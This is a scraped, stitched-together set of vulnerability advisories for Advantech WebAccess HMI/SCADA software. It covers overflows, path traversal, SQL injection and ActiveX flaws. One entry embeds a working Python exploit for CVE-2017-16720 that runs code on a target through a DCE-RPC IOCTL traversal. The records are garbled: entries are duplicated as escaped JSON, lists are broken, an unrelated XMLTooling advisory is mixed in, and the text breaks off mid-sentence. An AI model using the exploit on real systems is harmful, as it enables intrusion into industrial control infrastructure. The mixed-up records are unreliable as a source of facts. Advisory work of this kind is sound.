SQL injection vulnerability in Advantech WebAccess before 8.1 allows remote authenticated users to execute arbitrary SQL commands via unspecified vectors. WebAccess HMI/SCADA software provides remote control and management, allowing users to easily view and configure automation equipment in facility management systems, power stations and building automation systems. Advantech WebAccess is prone to following security vulnerabilities: 1. A denial-of-service vulnerability 2. An arbitrary file-upload vulnerability 3. A directory-traversal vulnerability 4. Multiple stack-based buffer-overflow vulnerabilities 5. A heap-based buffer overflow vulnerability 6. Multiple buffer-overflow vulnerabilities 7. Multiple information disclosure vulnerabilities 8. A cross-site scripting vulnerability 9. An SQL-injection vulnerability 10. A cross-site request forgery vulnerability 11. A remote-code execution vulnerability An attacker can exploit these issues to execute arbitrary code in the context of the application, cause a denial-of-service condition, upload arbitrary files, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to use directory-traversal sequences ('../') to retrieve arbitrary files, obtain sensitive information and perform certain unauthorized actions. This may aid in further attacks. Advantech WebAccess 8.0 and prior versions are vulnerable. Advantech WebAccess is a browser-based HMI/SCADA software developed by Advantech

WebAccess HMI/SCADA software provides remote control and management, allowing users to easily view and configure automation equipment in facility management systems, power stations and building automation systems. Advantech WebAccess is prone to following security vulnerabilities:\n1. A denial-of-service vulnerability\n2. An arbitrary file-upload vulnerability\n3. A directory-traversal vulnerability\n4. Multiple stack-based buffer-overflow vulnerabilities\n5. A heap-based buffer overflow vulnerability\n6. Multiple buffer-overflow vulnerabilities\n7. Multiple information disclosure vulnerabilities\n8. A cross-site scripting vulnerability\n9. An SQL-injection vulnerability\n10. A cross-site request forgery vulnerability\n11. A remote-code execution vulnerability\nAn attacker can exploit these issues to execute arbitrary code in the context of the application, cause a denial-of-service condition, upload arbitrary files, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to use directory-traversal sequences (\u0027../\u0027) to retrieve arbitrary files, obtain sensitive information and perform certain unauthorized actions. This may aid in further attacks. \nAdvantech WebAccess 8.0 and prior versions are vulnerable. Advantech WebAccess is a browser-based HMI/SCADA software developed by Advantech",

Vulnerability from variot
Advantech WebAccess before 8.1 allows remote attackers to cause a denial of service (out-of-bounds memory access) via unspecified vectors. Advantech WebAccess There is a service disruption ( Access outside the memory area ) There are vulnerabilities that are put into a state.Service disruption by a third party ( Access outside the memory area ) There is a possibility of being put into a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable instances of Advantech WebAccess. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x13881 IOCTL in the BwOpcTool subsystem. An uncontrolled format string vulnerability exists in a call to sprintf. An attacker can use this vulnerability to execute arbitrary code in the context of an administrator of the system. WebAccess HMI/SCADA software provides remote control and management, allowing users to easily view and configure automation equipment in facility management systems, power stations and building automation systems. Advantech WebAccess is prone to following security vulnerabilities: 1. A denial-of-service vulnerability 2. An arbitrary file-upload vulnerability 3. A directory-traversal vulnerability 4. Multiple stack-based buffer-overflow vulnerabilities 5. A heap-based buffer overflow vulnerability 6. Multiple buffer-overflow vulnerabilities 7. Multiple information disclosure vulnerabilities 8. A cross-site scripting vulnerability 9. An SQL-injection vulnerability 10. A cross-site request forgery vulnerability 11. This may aid in further attacks. Advantech WebAccess 8.0 and prior versions are vulnerable. Advantech WebAccess is a browser-based HMI/SCADA software developed by Advantech

Vulnerability from variot
Stack-based buffer overflow in Advantech WebAccess (formerly BroadWin WebAccess) 7.2 allows remote attackers to execute arbitrary code via the NodeName parameter. Advantech WebAccess is an IE-based HMI/SCADA monitoring software featuring all engineering projects, database setup, drawing and software management using standard browsers over the internet or intranet. A buffer overflow vulnerability exists in Advantech WebAccess. An attacker exploits a vulnerability to execute arbitrary code in the context of an affected application or to crash the entire application. Advantech WebAccess is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer. Failed exploit attempts will likely cause a denial-of-service condition. Advantech WebAccess 7.2 is vulnerable; other versions may also be affected. Advantech WebAccess is a browser-based HMI/SCADA software developed by Advantech. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment.

"data": "Stack-based buffer overflow in Advantech WebAccess (formerly BroadWin WebAccess) 7.2 allows remote attackers to execute arbitrary code via the NodeName parameter. Advantech WebAccess is an IE-based HMI/SCADA monitoring software featuring all engineering projects, database setup, drawing and software management using standard browsers over the internet or intranet. A buffer overflow vulnerability exists in Advantech WebAccess. An attacker exploits a vulnerability to execute arbitrary code in the context of an affected application or to crash the entire application. Advantech WebAccess is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer. Failed exploit attempts will likely cause a denial-of-service condition. \nAdvantech WebAccess 7.2 is vulnerable; other versions may also be affected. Advantech WebAccess is a browser-based HMI/SCADA software developed by Advantech. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment.

Vulnerability from variot
The BrowseFolder method in the bwocxrun ActiveX control in Advantech WebAccess before 7.2 allows remote attackers to read arbitrary files via a crafted call. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists with the bwocxrun ActiveX control, which allows for navigation from the network to the local file system. When combined with system settings and other components included as part of the installation, this allows for the activation of ActiveX controls resident on the local file system (even if not installed) without user interaction. An attacker can use this to install vulnerable controls on the target system. Advantech WebAccess HMI/SCADA is an HMI/SCADA software. Advantech WebAccess is prone to a remote security weakness. This may aid in further attacks. Advantech WebAccess 7.1 and prior are vulnerable. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment. There is a security vulnerability in the 'BrowseFolder' method in the bwocxrun ActiveX control of Advantech WebAccess 7.1 and earlier

"data": "The BrowseFolder method in the bwocxrun ActiveX control in Advantech WebAccess before 7.2 allows remote attackers to read arbitrary files via a crafted call. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists with the bwocxrun ActiveX control, which allows for navigation from the network to the local file system. When combined with system settings and other components included as part of the installation, this allows for the activation of ActiveX controls resident on the local file system (even if not installed) without user interaction. An attacker can use this to install vulnerable controls on the target system. Advantech WebAccess HMI/SCADA is an HMI/SCADA software. Advantech WebAccess is prone to a remote security weakness. This may aid in further attacks. \nAdvantech WebAccess 7.1 and prior are vulnerable. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment. There is a security vulnerability in the \u0027BrowseFolder\u0027 method in the bwocxrun ActiveX control of Advantech WebAccess 7.1 and earlier",

This could be accomplished in a number of ways, most notably with firewall rules/whitelisting. These features are available in the native Windows Firewall, as described in and numerous other Microsoft Knowledge Base articles.",

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within nvA1Media.ocx. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process.

Vulnerability from variot
Directory traversal vulnerability in Advantech WebAccess before 8.1 allows remote attackers to list arbitrary virtual-directory files via unspecified vectors. Authentication is not required to exploit this vulnerability. The specific flaw exists within the WebAccess Dashboard Viewer. Insufficient validation within the removeFile script allows unauthenticated callers to remove key system files, blocking WebAccess for all users. WebAccess HMI/SCADA software provides remote control and management, allowing users to easily view and configure automation equipment in facility management systems, power stations and building automation systems. Advantech WebAccess is prone to following security vulnerabilities: 1. A denial-of-service vulnerability 2. An arbitrary file-upload vulnerability 3. A directory-traversal vulnerability 4. Multiple stack-based buffer-overflow vulnerabilities 5. A heap-based buffer overflow vulnerability 6. Multiple buffer-overflow vulnerabilities 7. Multiple information disclosure vulnerabilities 8. A cross-site scripting vulnerability 9. An SQL-injection vulnerability 10. A remote-code execution vulnerability An attacker can exploit these issues to execute arbitrary code in the context of the application, cause a denial-of-service condition, upload arbitrary files, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to use directory-traversal sequences ('../') to retrieve arbitrary files, obtain sensitive information and perform certain unauthorized actions. This may aid in further attacks. Advantech WebAccess 8.0 and prior versions are vulnerable. Advantech WebAccess is a browser-based HMI/SCADA software developed by Advantech

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within nvA1Media.ocx. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process.

Vulnerability from variot
In Advantech WebAccess versions V8.2_20170817 and prior, WebAccess versions V8.3.0 and prior, WebAccess Dashboard versions V.2.0.15 and prior, WebAccess Scada Node versions prior to 8.3.1, and WebAccess/NMS 2.0.3 and prior, a path transversal vulnerability has been identified, which may allow an attacker to execute arbitrary code. Advantech WebAccess Contains a path traversal vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x2711 IOCTL in the webvrpcs process. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this functionality to execute code under the context of Administrator. Advantech WebAccess and others are products of Advantech. Advantech WebAccess is a browser-based HMI/SCADA software. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. WebAccess Dashboard is one of the dashboard components; WebAccess Scada Node is one of the monitoring node components. WebAccess/NMS is a suite of web browsers for the Network Management System (NMS). A path traversal vulnerability exists in several Advantech products. Advantech WebAccess is prone to the following security vulnerabilities: 1. Multiple SQL-injection vulnerabilities 2. An information-disclosure vulnerability 3. A file-upload vulnerability 4. Multiple directory-traversal vulnerabilities 5. Multiple stack-based buffer-overflow vulnerabilities 6. A heap-based buffer-overflow vulnerability 7. Multiple arbitrary code-execution vulnerabilities 8. A denial-of-service vulnerability 9. A security-bypass vulnerability 10. A privilege-escalation vulnerability An attacker can exploit these issues to execute arbitrary code in the context of the application, or modify data, or exploit latent vulnerabilities in the underlying database, delete arbitrary files, gain elevated privileges, perform certain unauthorized actions, upload arbitrary files to the affected application gain unauthorized access and obtain sensitive information. Failed attacks will cause denial of service conditions. Advantech WebAccess, etc. Advantech WebAccess is a set of HMI/SCADA software based on browser architecture.

"data": "In Advantech WebAccess versions V8.2_20170817 and prior, WebAccess versions V8.3.0 and prior, WebAccess Dashboard versions V.2.0.15 and prior, WebAccess Scada Node versions prior to 8.3.1, and WebAccess/NMS 2.0.3 and prior, a path transversal vulnerability has been identified, which may allow an attacker to execute arbitrary code. Advantech WebAccess Contains a path traversal vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x2711 IOCTL in the webvrpcs process. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this functionality to execute code under the context of Administrator. Advantech WebAccess and others are products of Advantech. Advantech WebAccess is a browser-based HMI/SCADA software. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. WebAccess Dashboard is one of the dashboard components; WebAccess Scada Node is one of the monitoring node components. WebAccess/NMS is a suite of web browsers for the Network Management System (NMS). A path traversal vulnerability exists in several Advantech products. Advantech WebAccess is prone to the following security vulnerabilities:\n1. Multiple SQL-injection vulnerabilities\n2. An information-disclosure vulnerability\n3. A file-upload vulnerability\n4. Multiple directory-traversal vulnerabilities\n5. Multiple stack-based buffer-overflow vulnerabilities\n6. A heap-based buffer-overflow vulnerability\n7. Multiple arbitrary code-execution vulnerabilities\n8. A denial-of-service vulnerability\n9. A security-bypass vulnerability\n10. A privilege-escalation vulnerability\nAn attacker can exploit these issues to execute arbitrary code in the context of the application, or modify data, or exploit latent vulnerabilities in the underlying database, delete arbitrary files, gain elevated privileges, perform certain unauthorized actions, upload arbitrary files to the affected application gain unauthorized access and obtain sensitive information. Failed attacks will cause denial of service conditions. Advantech WebAccess, etc. Advantech WebAccess is a set of HMI/SCADA software based on browser architecture. The following versions are affected: Advantech WebAccess 8.2_20170817 and earlier, 8.3.0 and earlier; WebAccess Dashboard 2.0.15 and earlier; WebAccess Scada Node 8.3.1 and earlier; WebAccess/NMS 2.0.3 and earlier",

Vulnerability from variot
A Path Traversal issue was discovered in WebAccess versions 8.3.2 and earlier. An attacker has access to files within the directory structure of the target device. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x2711 IOCTL in the webvrpcs process. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this functionality to execute code under the context of Administrator. An attacker can leverage this vulnerability to delete files accessible to the web service. Advantech WebAccess (formerly known as BroadWin WebAccess) is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess is prone to the following security vulnerabilities: 1. Multiple denial-of-service vulnerabilities 2. Multiple stack-based buffer-overflow vulnerabilities 3. A directory-traversal vulnerability 4. An SQL-injection vulnerability 5. Multiple denial-of-service vulnerabilities An attacker can exploit these issues to execute arbitrary code in the context of the application, or modify data, or exploit latent vulnerabilities in the underlying database,perform certain unauthorized actions, gain unauthorized access and obtain sensitive information. Failed attacks will cause denial of service conditions. #!/usr/bin/python2.7

"data": "A Path Traversal issue was discovered in WebAccess versions 8.3.2 and earlier. An attacker has access to files within the directory structure of the target device. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x2711 IOCTL in the webvrpcs process. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this functionality to execute code under the context of Administrator. An attacker can leverage this vulnerability to delete files accessible to the web service. Advantech WebAccess (formerly known as BroadWin WebAccess) is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess is prone to the following security vulnerabilities:\n1. Multiple denial-of-service vulnerabilities\n2. Multiple stack-based buffer-overflow vulnerabilities\n3. A directory-traversal vulnerability\n4. An SQL-injection vulnerability\n5. Multiple denial-of-service vulnerabilities\nAn attacker can exploit these issues to execute arbitrary code in the context of the application, or modify data, or exploit latent vulnerabilities in the underlying database,perform certain unauthorized actions, gain unauthorized access and obtain sensitive information. Failed attacks will cause denial of service conditions. #!/usr/bin/python2.7\n \n# Exploit Title: Advantech WebAccess \u003c 8.3 webvrpcs Directory Traversal RCE Vulnerability\n# Date: 03-11-2018\n# Exploit Author: Chris Lyne (@lynerc)\n# Vendor Homepage: www.advantech.com\n# Software Link: http://advcloudfiles.advantech.com/web/Download/webaccess/8.2/AdvantechWebAccessUSANode8.2_20170817.exe\n# Version: Advantech WebAccess 8.2-2017.08.18\n# Tested on: Windows Server 2008 R2 Enterprise 64-bit\n# CVE : CVE-2017-16720\n# See Also: https://www.zerodayinitiative.com/advisories/ZDI-18-024/\n \nimport sys, struct\nfrom impacket import uuid\nfrom impacket.dcerpc.v5 import transport\n \ndef call(dce, opcode, stubdata):\n dce.call(opcode, stubdata)\n res = -1\n try:\n res = dce.recv()\n except Exception, e:\n print \"Exception encountered...\" + str(e)\n sys.exit(1)\n return res\n \nif len(sys.argv) != 2:\n print \"Provide only host arg\"\n sys.exit(1)\n \nport = 4592\ninterface = \"5d2b62aa-ee0a-4a95-91ae-b064fdb471fc\"\nversion = \"1.0\"\n \nhost = sys.argv[1]\n \nstring_binding = \"ncacn_ip_tcp:%s\" % host\ntrans = transport.DCERPCTransportFactory(string_binding)\ntrans.set_dport(port)\n \ndce = trans.get_dce_rpc()\ndce.connect()\n \nprint \"Binding...\"\niid = uuid.uuidtup_to_bin((interface, version))\ndce.bind(iid)\n \nprint \"...1\"\nstubdata = struct.pack(\"\u003cIII\", 0x00, 0xc351, 0x04)\ncall(dce, 2, stubdata)\n \nprint \"...2\"\nstubdata = struct.pack(\"\u003cI\", 0x02)\nres = call(dce, 4, stubdata)\nif res == -1:\n print \"Something went wrong\"\n sys.exit(1)\nres = struct.unpack(\"III\", res)\n \nif (len(res) \u003c 3):\n print \"Received unexpected length value\"\n sys.exit(1)\n \nprint \"...3\"\n# ioctl 0x2711\nstubdata = struct.pack(\"\u003cIIII\", res[2], 0x2711, 0x204, 0x204)\ncommand = \"..\\\\..\\\\windows\\\\system32\\\\calc.exe\"\nfmt = \"\u003c\" + str(0x204) + \"s\"\nstubdata += struct.pack(fmt, command)\ncall(dce, 1, stubdata)\n \nprint \"\\nDid it work?\"\n \ndce.disconnect()\n\n",

Only the clients and servers that have a legitimate procedural relationship with the service should be permitted to communicate with it. This could be accomplished in a number of ways, most notably with firewall rules/whitelisting. These features are available in the native Windows Firewall, as described in and numerous other Microsoft Knowledge Base articles.",

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within nvA1Media.ocx. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process.

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within nvA1Media.ocx. The issue results from the lack of proper validation of user-supplied data which can result in a memory access outside an allocated buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process.

Vulnerability from variot
XMLTooling-C before 1.5.5, as used in OpenSAML-C and Shibboleth Service Provider (SP), does not properly handle integer conversion exceptions, which allows remote attackers to cause a denial of service (crash) via schema-invalid XML data. WebAccess HMI/SCADA software provides remote control and management, allowing users to easily view and configure automation equipment in facility management systems, power stations and building automation systems. A security vulnerability exists in versions prior to Advantech WebAccess 8.1 that could be exploited by a remote attacker to cause a denial of service (out of bounds memory access). XMLTooling-C is prone to a denial-of-service vulnerability. Remote attackers can exploit this issue to cause the application using affected library to crash, denying service to legitimate users. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512
Debian Security Advisory DSA-3321-1 security@debian.org https://www.debian.org/security/ Alessandro Ghedini July 30, 2015 https://www.debian.org/security/faq
Package : xmltooling CVE ID : CVE-2015-0851 Debian Bug : 793855
The InCommon Shibboleth Training team discovered that XMLTooling, a C++ XML parsing library, did not properly handle an exception when parsing well-formed but schema-invalid XML.
For the oldstable distribution (wheezy), this problem has been fixed in version 1.4.2-5+deb7u1.
For the stable distribution (jessie), this problem has been fixed in version 1.5.3-2+deb8u1.
For the unstable distribution (sid), this problem will be fixed shortly.
We recommend that you upgrade your xmltooling packages.

Vulnerability from variot
An Incorrect Permission Assignment for Critical Resource issue was discovered in Advantech WebAccess versions prior to V8.2_20170817. Multiple files and folders with ACLs that affect other users are allowed to be modified by non-administrator accounts. Advantech WebAccess Contains vulnerabilities related to authorization, permissions, and access control.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. This vulnerability allows local attackers to escalate privilege on vulnerable installations of Advantech WebAccess. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.The specific flaw exists within the access control that is set and modified during the installation of the product. The product installation weakens access control restrictions of pre-existing system files and sets weak access control restrictions on new files. An attacker can leverage this vulnerability to execute arbitrary code under the context of Administrator, the IUSR account, or SYSTEM. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess is prone to the following security vulnerabilities: 1. Multiple stack-based buffer-overflow vulnerabilities 2. Multiple heap-based buffer-overflow vulnerabilities. 3. Multiple memory-corruption vulnerabilities. 4. An SQL-injection vulnerability. 5. A format-string vulnerability. 6. An authentication-bypass vulnerability. 7. A security-bypass vulnerability. 8. A privilege-escalation vulnerability. 9. A remote-code execution vulnerability. This may aid in further attacks. Advantech WebAccess versions prior to V8.2_20170817 are vulnerable

"data": "An Incorrect Permission Assignment for Critical Resource issue was discovered in Advantech WebAccess versions prior to V8.2_20170817. Multiple files and folders with ACLs that affect other users are allowed to be modified by non-administrator accounts. Advantech WebAccess Contains vulnerabilities related to authorization, permissions, and access control.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. This vulnerability allows local attackers to escalate privilege on vulnerable installations of Advantech WebAccess. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.The specific flaw exists within the access control that is set and modified during the installation of the product. The product installation weakens access control restrictions of pre-existing system files and sets weak access control restrictions on new files. An attacker can leverage this vulnerability to execute arbitrary code under the context of Administrator, the IUSR account, or SYSTEM. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess is prone to the following security vulnerabilities:\n1. Multiple stack-based buffer-overflow vulnerabilities\n2. Multiple heap-based buffer-overflow vulnerabilities. \n3. Multiple memory-corruption vulnerabilities. \n4. An SQL-injection vulnerability. \n5. A format-string vulnerability. \n6. An authentication-bypass vulnerability. \n7. A security-bypass vulnerability. \n8. A privilege-escalation vulnerability. \n9. A remote-code execution vulnerability. This may aid in further attacks. \nAdvantech WebAccess versions prior to V8.2_20170817 are vulnerable",

Vulnerability from variot
Stack-based buffer overflow in Advantech WebAccess (formerly BroadWin WebAccess) 7.2 allows remote attackers to execute arbitrary code via the projectname parameter. Advantech WebAccess is an IE-based HMI/SCADA monitoring software that features all engineering projects, database setup, drawing and software management using a standard browser over the internet or intranet. A buffer overflow vulnerability exists in Advantech WebAccess. An attacker exploits a vulnerability to execute arbitrary code in the context of an affected application or to crash the entire application. Advantech WebAccess is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer. Failed exploit attempts will likely cause a denial-of-service condition. Advantech WebAccess 7.2 is vulnerable; other versions may also be affected. Advantech WebAccess is a browser-based HMI/SCADA software developed by Advantech. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment.

Vulnerability from variot
The OpenUrlToBufferTimeout method in the BWOCXRUN.BwocxrunCtrl.1 ActiveX control in bwocxrun.ocx in Advantech WebAccess before 7.2 allows remote attackers to read arbitrary files via a file: URL. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the bwocxrun.ocx cntrol. Advantech WebAccess HMI/SCADA is an HMI/SCADA software. Advantech WebAccess is prone to an information-disclosure vulnerability. An attacker can exploit this issue to gain access to sensitive information; this may lead to further attacks. Advantech WebAccess 7.1 and prior are vulnerable. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment

Vulnerability from variot
Cross-site scripting (XSS) vulnerability in bwview.asp in Advantech/BroadWin WebAccess before 7.0 allows remote attackers to inject arbitrary web script or HTML via unspecified parameters. Advantech Advantech specializes in network computer and network automation, providing more than 450 products including industrial data acquisition, automation software, computer platforms, Advantech industrial computers, computer motherboards and accessories. Advantech/BroadWin SCADA WebAccess is a fully browser-based Human Machine Interface (HMI) and Monitoring and Data Acquisition (SCADA) software. Advantech WebAccess bwview.asp lacks filtering on parameters leading to cross-site scripting attacks. Advantech WebAccess is prone to multiple remote vulnerabilities. Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, execute arbitrary code gain access to sensitive information, cause a denial-of-service condition. Other attacks are possible. ----------------------------------------------------------------------
Ovum says ad hoc tools are out-dated. The best practice approach? Fast vulnerability intelligence, threat handling, and setup in one tool.

Vulnerability from variot
An Untrusted Pointer Dereference issue was discovered in Advantech WebAccess versions prior to 8.3. There are multiple vulnerabilities that may allow an attacker to cause the program to use an invalid memory address, resulting in a program crash. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x27eb IOCTL in the webvrpcs process. An attacker can leverage this functionality to execute code under the context of Administrator. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. A denial of service vulnerability exists in versions prior to Advantech WebAccess 8.3

Vulnerability from variot
In WebAccess/SCADA, Versions 8.3.5 and prior, a path traversal vulnerability is caused by a lack of proper validation of a user-supplied path prior to use in file operations. An attacker can leverage this vulnerability to delete files while posing as an administrator. WebAccess/SCADA Contains a path traversal vulnerability.Information may be tampered with. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x2715 IOCTL in the webvrpcs process. Advantech WebAccess/SCADA is a browser-based SCADA software from Advantech, Taiwan. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess/SCADA is prone to the following security vulnerabilities: 1. A directory-traversal vulnerability 2. Multiple stack-based buffer-overflow vulnerabilities 3. Multiple heap-based buffer-overflow vulnerabilities 4. An information disclosure vulnerability 5. Multiple remote-code execution vulnerabilities An attacker can exploit these issues to execute arbitrary code in the context of the application, modify and delete files, use directory-traversal sequences (â??../â??) to retrieve arbitrary files, escalate privileges and perform certain unauthorized actions or obtain sensitive information. This may aid in further attacks. Advantech WebAccess/SCADA Versions 8.3.5 and prior versions are vulnerable

"data": "In WebAccess/SCADA, Versions 8.3.5 and prior, a path traversal vulnerability is caused by a lack of proper validation of a user-supplied path prior to use in file operations. An attacker can leverage this vulnerability to delete files while posing as an administrator. WebAccess/SCADA Contains a path traversal vulnerability.Information may be tampered with. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x2715 IOCTL in the webvrpcs process. Advantech WebAccess/SCADA is a browser-based SCADA software from Advantech, Taiwan. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess/SCADA is prone to the following security vulnerabilities:\n1. A directory-traversal vulnerability\n2. Multiple stack-based buffer-overflow vulnerabilities\n3. Multiple heap-based buffer-overflow vulnerabilities\n4. An information disclosure vulnerability\n5. Multiple remote-code execution vulnerabilities\nAn attacker can exploit these issues to execute arbitrary code in the context of the application, modify and delete files, use directory-traversal sequences (\u00e2??../\u00e2??) to retrieve arbitrary files, escalate privileges and perform certain unauthorized actions or obtain sensitive information. This may aid in further attacks. \nAdvantech WebAccess/SCADA Versions 8.3.5 and prior versions are vulnerable",

Vulnerability from variot
In WebAccess/SCADA Versions 8.3.5 and prior, multiple heap-based buffer overflow vulnerabilities are caused by a lack of proper validation of the length of user-supplied data. Exploitation of these vulnerabilities may allow remote code execution. Note: A different vulnerability than CVE-2019-10991. WebAccess/SCADA Contains a buffer error vulnerability. This vulnerability CVE-2019-10991 Is a different vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x11372 IOCTL in the webvrpcs process. An attacker can leverage this vulnerability to execute code under the context of Administrator. Advantech WebAccess/SCADA is a browser-based SCADA software from Advantech, Taiwan. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess/SCADA is prone to the following security vulnerabilities: 1. A directory-traversal vulnerability 2. Multiple stack-based buffer-overflow vulnerabilities 3. Multiple heap-based buffer-overflow vulnerabilities 4. Multiple remote-code execution vulnerabilities An attacker can exploit these issues to execute arbitrary code in the context of the application, modify and delete files, use directory-traversal sequences (â??../â??) to retrieve arbitrary files, escalate privileges and perform certain unauthorized actions or obtain sensitive information. This may aid in further attacks. Advantech WebAccess/SCADA Versions 8.3.5 and prior versions are vulnerable

Vulnerability from variot
Buffer overflow in the BwpAlarm subsystem in Advantech WebAccess before 8.1 allows remote attackers to cause a denial of service via a crafted RPC request. This vulnerability allows remote attackers to execute arbitrary code on vulnerable instances of Advantech WebAccess. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x11173 IOCTL in the BwpAlarm subsystem. A globals overflow vulnerability exists in a call to strcpy using the ProjectName parameter. An attacker can use this vulnerability to execute arbitrary code in the context of an administrator of the system. WebAccess HMI/SCADA software provides remote control and management. Advantech WebAccess is prone to following security vulnerabilities: 1. A denial-of-service vulnerability 2. An arbitrary file-upload vulnerability 3. A directory-traversal vulnerability 4. Multiple stack-based buffer-overflow vulnerabilities 5. Multiple buffer-overflow vulnerabilities 7. Multiple information disclosure vulnerabilities 8. A cross-site scripting vulnerability 9. An SQL-injection vulnerability 10. A cross-site request forgery vulnerability 11. This may aid in further attacks. Advantech WebAccess 8.0 and prior versions are vulnerable. Advantech WebAccess is a browser-based HMI/SCADA software developed by Advantech

"data": "Buffer overflow in the BwpAlarm subsystem in Advantech WebAccess before 8.1 allows remote attackers to cause a denial of service via a crafted RPC request. This vulnerability allows remote attackers to execute arbitrary code on vulnerable instances of Advantech WebAccess. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x11173 IOCTL in the BwpAlarm subsystem. A globals overflow vulnerability exists in a call to strcpy using the ProjectName parameter. An attacker can use this vulnerability to execute arbitrary code in the context of an administrator of the system. WebAccess HMI/SCADA software provides remote control and management. Advantech WebAccess is prone to following security vulnerabilities:\n1. A denial-of-service vulnerability\n2. An arbitrary file-upload vulnerability\n3. A directory-traversal vulnerability\n4. Multiple stack-based buffer-overflow vulnerabilities\n5. Multiple buffer-overflow vulnerabilities\n7. Multiple information disclosure vulnerabilities\n8. A cross-site scripting vulnerability\n9. An SQL-injection vulnerability\n10. A cross-site request forgery vulnerability\n11. This may aid in further attacks. \nAdvantech WebAccess 8.0 and prior versions are vulnerable. Advantech WebAccess is a browser-based HMI/SCADA software developed by 